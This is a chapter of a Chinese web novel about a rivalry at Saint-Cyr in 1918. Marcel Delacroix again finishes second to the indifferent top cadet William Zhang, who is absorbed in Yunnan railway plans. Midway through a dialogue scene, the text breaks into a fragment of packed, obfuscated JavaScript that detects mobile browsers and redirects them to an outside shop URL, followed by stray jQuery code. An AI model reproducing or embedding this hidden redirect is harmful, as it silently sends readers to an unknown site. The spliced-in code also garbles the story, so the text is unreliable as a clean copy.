民国七年冬。
圣西尔的雪越下越厚，十二月末的风像淬了冰的刀子，一寸寸刮过操场。
新生入校后的第一次综合考核终于开始，射击、骑术、测绘、野外导航、战术基础推演整整持续五天。对于绝大多数学生而言，这不过是一次成绩统计，是未来军官履历上的一行数字；可对于某些人来说，这却是一场必须用尊严去赌的战争。
尤其是Marcel Delacroix。
自从成绩单事件之后，他已经整整一个月没睡过安稳觉，每次经过公告栏，看见第一名那一栏冷冰冰地钉着“William Zhang”几个字母，胸口就会泛起一阵说不清的闷堵。那感觉不像愤怒，也不像嫉妒，更像是有什么本该属于自己的东西，被人轻描淡写地拿走了。
而最让他无法忍受的是，拿走它的那个人似乎根本不在乎。
所以这一次，他发誓要赢回来，至少赢一次。
第一项考核是射击，冬季靶场的寒风卷着碎雪往领口里钻，白色的呼气不断从学员口中升起。Marcel握枪的姿势近乎完美，Delacroix家世代从军，他六岁开始学射击，十二岁就能在奔马背上命中移动靶，扣动扳机的瞬间，他甚至能感觉到血在血管里兴奋地奔流。
砰、砰、砰！
清脆的三声枪响次第落下，弹壳坠进雪里，发出轻微的嘶声。最后统计成绩时，全场短暂地安静了一瞬，随后教官满意地点头：第一名，Marcel Delacroix。
四周响起掌声，不少人甚至下意识地松了口气——终于，终于有项目不是那个中国人第一了。
可Marcel站在人群中央，脸上却没有太多胜利的喜悦。他下意识地在人堆里寻找另一道身影，很快就看见了：张子轩站在不远处，正低头在本子上记录什么。教官走过去宣布成绩，张子轩只是点了点头，随后继续写字，仿佛第二名和第二十名对他而言没有任何区别。
那一刻，Marcel胸口又堵了一下，他甚至不知道自己在期待什么，期待对方失落吗？还是期待对方终于露出一点输掉比赛的表情？可什么都没有，那个中国人平静地接受了结果，像接受今天下雪一样自然。
第二项骑术，第三项测绘，第四项野外导航，第五项战术推演，考核一项项压下来，圣西尔的新生们逐渐开始意识到一件事：射击场上的那次胜利，似乎真的只是个意外。
因为除了射击之外，张子轩几乎又一次横扫了所有项目，尤其是野外导航，他在暴风雪里提前两个小时抵达终点，连负责计时的军官都反复核对怀表，怀疑自己记错了时间。
五天后，综合成绩公布，和第一次成绩单公布时一样，公告栏前再次挤满了人，雪花不断落在肩头，所有人都死死盯着那张刚刚贴出来的名单，然后空气慢慢地、慢慢地安静下来。
第一名，William Zhang
第二名，Marcel Delacroix
第三名，Jean de Villiers
人群里传来压得极低的议论：“Encore lui.”
（又是他。）
“怎么还是第一？”“这家伙到底有没有弱项？”“见鬼，他真的是中国人吗？”
Marcel站在人群最前面，沉默地看着那张被风吹得微微卷边的成绩单，他忽然发现一个让自己极度不舒服的事实：第一次输的时候，所有人都震惊；第二次输的时候，所有人开始习惯。
仿佛William Zhang排在第一名，本来就应该如此，而自己排在第二名，也理所当然。
这比输掉一次更加令人难以接受，因为这意味着所有人都已经默认了某种秩序——第一名属于William Zhang，第二名才是Marcel Delacroix该待的位置。
“? quoi bon regarder ? C’est toujours Zhang en tête. ”
（还有什么好看的？反正永远是张子轩排第一。）
身后不知是谁又低声嘀咕了一句，声音不大，却清晰地砸进Marcel耳朵里。他没有回头，只是死死盯着成绩单最上方那个名字，风吹动纸页边缘，发出细碎的沙沙声，像某种嘲讽。
与此同时，推演室里却安静得出奇。张子轩坐在靠窗的位置，面前摊着厚厚一叠图纸，云南山区地形图压着滇越铁路资料，桥梁设计数据又压着地形图，一张叠着一张。
窗外风雪呼啸，屋里只剩铅笔划过纸面的沙沙声，直到门被推开，负责统计成绩的教官走了进来。
“William.”
张子轩抬头：
“Oui, mon commandant.”
（是，长官。）
教官笑了笑，语气里带着毫不掩饰的赞许：
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932503|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“Vous êtes encore premier.”
（你又是第一名。）
正常情况下，任何一个十八岁的年轻人听到这句话都会露出笑容，哪怕只是矜持一下。可张子轩只是礼貌地点头：
“Merci.”
（谢谢。）
然后便低下头，继续画那条穿过怒江峡谷的铁路线。教官愣了两秒，终于忍不住问：
“?a ne vous fait rien ?”
（你一点都不激动吗？）
张子轩停下笔，似乎认真思考了一下，随后反问：
“Pourquoi ?”
（为什么？）
这下轮到教官被问住了：
“Parce que vous êtes premier.”
（因为你是第一名。）
窗外风雪一下下敲打着玻璃，房间里安静下来。片刻后，张子轩的视线重新落回图纸，声音平静得像在讨论天气，却字字都砸在人心里：
“?tre premier ne construit pas un chemin de fer.”
（第一名又不能修出一条铁路。）
教官怔住了，半晌没有说话，最后只是摇摇头，带着点无奈又敬佩的笑意离开了。门重新关上，推演室恢复安静，只有笔尖和纸张摩擦的细响。
而此时此刻，走廊另一端，Marcel恰好站在那里。门没有关严，他把那句话听得一清二楚。雪光从高窗照进来，落在张子轩侧脸上，那个人甚至没有抬头去看自己的成绩，也没有去看公告栏，仿佛整个圣西尔拼命争抢的荣耀，对他而言都毫无意义。
他在意的仍然只有那些铁路，那些地图，那个远在一万公里之外、叫做云南的地方。
Marcel站在门外，忽然觉得胸口有些发闷，一种从未有过的挫败感像冰水一样慢慢蔓延开来。因为直到这一刻，他才真正意识到，自己拼命追逐的东西，或许从来都不在张子轩的世界里。
那个来自云南的年轻人，早在踏进圣西尔之前，就已经朝着另一个方向走了，头也不回。而所有人都没发现，包括他自己。
雪还在下，盖住了训练场的脚印，盖住了靶场的弹壳，也盖住了第一名和第二名之间那道看不见的鸿沟。而那一年冬天的Marcel，还固执地相信，总有一天自己能跨过去。